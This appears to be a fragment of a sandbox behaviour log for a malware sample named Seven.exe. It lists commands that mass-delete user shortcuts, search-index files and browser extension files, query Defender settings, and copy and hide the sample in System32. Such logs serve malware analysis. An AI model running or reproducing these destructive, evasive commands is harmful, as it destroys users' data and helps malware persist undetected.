C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{7c78f2af-cc60-4ebe-917f-65cfd08ceb41}\settingssynonyms.txt"2⤵PID:7964
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15012
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{021d2433-3ee9-4590-bdbe-3995198298a8}\0.0.filtertrie.intermediate.txt"2⤵PID:7996
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3244
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{021d2433-3ee9-4590-bdbe-3995198298a8}\0.1.filtertrie.intermediate.txt"2⤵PID:8016
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14844
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{021d2433-3ee9-4590-bdbe-3995198298a8}\0.2.filtertrie.intermediate.txt"2⤵PID:8032
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14828
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{7ec85bca-bbb0-41ec-8dd1-40aa1ad30532}\0.0.filtertrie.intermediate.txt"2⤵PID:8068
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16244
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{7ec85bca-bbb0-41ec-8dd1-40aa1ad30532}\0.1.filtertrie.intermediate.txt"2⤵PID:8088
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3268
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{7ec85bca-bbb0-41ec-8dd1-40aa1ad30532}\0.2.filtertrie.intermediate.txt"2⤵PID:8100
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15020
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\File Explorer.lnk"2⤵PID:8120
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16348
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Firefox.lnk"2⤵PID:8140
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4996
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk"2⤵PID:8160
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4144
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Microsoft Edge.lnk"2⤵PID:8172
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14916
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Magnify.lnk"2⤵PID:5780
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16380
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Narrator.lnk"2⤵PID:5320
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15148
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\On-Screen Keyboard.lnk"2⤵PID:5888
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14772
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Internet Explorer.lnk"2⤵PID:748
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14860
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Administrative Tools.lnk"2⤵PID:6044
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15076
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Command Prompt.lnk"2⤵PID:6184
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15620
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\computer.lnk"2⤵PID:6220
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15460
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Control Panel.lnk"2⤵PID:8200
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15768
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk"2⤵PID:8216
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2820
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Run.lnk"2⤵PID:8236
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16252
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell (x86).lnk"2⤵PID:8268
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16332
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk"2⤵PID:8284
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15784
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.76.1_0\128.png"2⤵PID:8308
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14548
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.76.1_0\offscreendocument.html"2⤵PID:8324
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3700
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\5GKYR5FN\www.bing[1].xml"2⤵PID:8340
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15992
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\MS6XK32D\microsoft.windows[1].xml"2⤵PID:8356
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3624
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\craw_window.html"2⤵PID:8380
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16316
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png"2⤵PID:8400
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15476
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_16.png"2⤵PID:8420
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14116
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button.png"2⤵PID:8436
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3496
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_close.png"2⤵PID:8456
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15332
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_hover.png"2⤵PID:8472
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15688
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_maximize.png"2⤵PID:8496
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15308
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_pressed.png"2⤵PID:8516
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14656
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png"2⤵PID:8552
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14924
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png"2⤵PID:8576
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14852
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png"2⤵PID:8592
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15080
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png"2⤵PID:8608
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14540
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png"2⤵PID:8628
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14812
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\64.png"2⤵PID:8644
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3796
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\96.png"2⤵PID:8664
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15648
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\128.png"2⤵PID:8700
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14780
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\192.png"2⤵PID:8720
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1876
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png"2⤵PID:8732
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4508
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\32.png"2⤵PID:8744
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14836
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\48.png"2⤵PID:8756
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16628
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\64.png"2⤵PID:8768
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14364
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\96.png"2⤵PID:8780
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15604
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\128.png"2⤵PID:8816
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4820
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\192.png"2⤵PID:8828
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15488
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\256.png"2⤵PID:8840
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16396
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\32.png"2⤵PID:8852
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2964
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\48.png"2⤵PID:8864
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16268
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\64.png"2⤵PID:8876
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15792
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\96.png"2⤵PID:8888
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15816
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\128.png"2⤵PID:8916
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15744
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\192.png"2⤵PID:8936
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16276
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\256.png"2⤵PID:8948
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4616
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\32.png"2⤵PID:8960
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15984
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\48.png"2⤵PID:8972
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15720
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\64.png"2⤵PID:8984
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2740
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\96.png"2⤵PID:8996
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15680
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\128.png"2⤵PID:9032
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15736
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\192.png"2⤵PID:9044
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4140
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\256.png"2⤵PID:9060
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15276
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\32.png"2⤵PID:9072
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15952
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\48.png"2⤵PID:9084
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15728
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\64.png"2⤵PID:9096
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15776
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\96.png"2⤵PID:9108
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3304
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\128.png"2⤵PID:9132
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15188
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\192.png"2⤵PID:9152
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15612
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\256.png"2⤵PID:9164
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15840
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\32.png"2⤵PID:9176
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2408
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\48.png"2⤵PID:9188
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1356
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\64.png"2⤵PID:9200
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3540
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\96.png"2⤵PID:9212
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3900
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:13352 -
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C copy C:\Users\Admin\AppData\Local\Temp\Seven.exe C:\Users\Admin\AppData\Local\Temp\SevenCopy.exe2⤵PID:17568
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C copy C:\Users\Admin\AppData\Local\Temp\Seven.exe C:\Windows\System32\SevenCopy.exe2⤵PID:17576
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C attrib +h C:\Windows\System32\SevenCopy.exe2⤵PID:17584
-
C:\Windows\system32\attrib.exeattrib +h C:\Windows\System32\SevenCopy.exe3⤵
- Views/modifies file attributes
PID:17720 -
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C copy C:\Users\Admin\AppData\Local\Temp\Seven.dll C:\Windows\System32\Seven.dll2⤵PID:17592
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C copy C:\Users\Admin\AppData\Local\Temp\Seven.runtimeconfig.json C:\Windows\System32\Seven.runtimeconfig.json2⤵PID:17600
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C attrib +h C:\Windows\System32\Seven.dll2⤵PID:17608
-
C:\Windows\system32\attrib.exeattrib +h C:\Windows\System32\Seven.dll3⤵
- Views/modifies file attributes
PID:17728 -
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C attrib +h C:\Windows\System32\Seven.runtimeconfig.json2⤵PID:17616
-
C:\Windows\system32\attrib.exeattrib +h C:\Windows\System32\Seven.runtimeconfig.json3⤵
- Views/modifies file attributes
PID:17712 -
C:\Users\Admin\AppData\Local\Temp\SevenCopy.exe"C:\Users\Admin\AppData\Local\Temp\SevenCopy.exe"2⤵
- Executes dropped EXE
PID:17880 -
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Links\Desktop.lnk"3⤵PID:17964
-
